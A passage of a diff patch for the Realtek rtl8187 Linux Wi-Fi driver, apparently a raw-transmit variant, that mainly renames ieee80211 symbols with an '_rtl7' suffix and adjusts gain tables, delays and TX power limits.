ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-07-13 01:46:24.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-07-13 01:46:27.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-07-13 01:46:24.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-07-13 01:46:27.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-07-13 01:46:24.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, 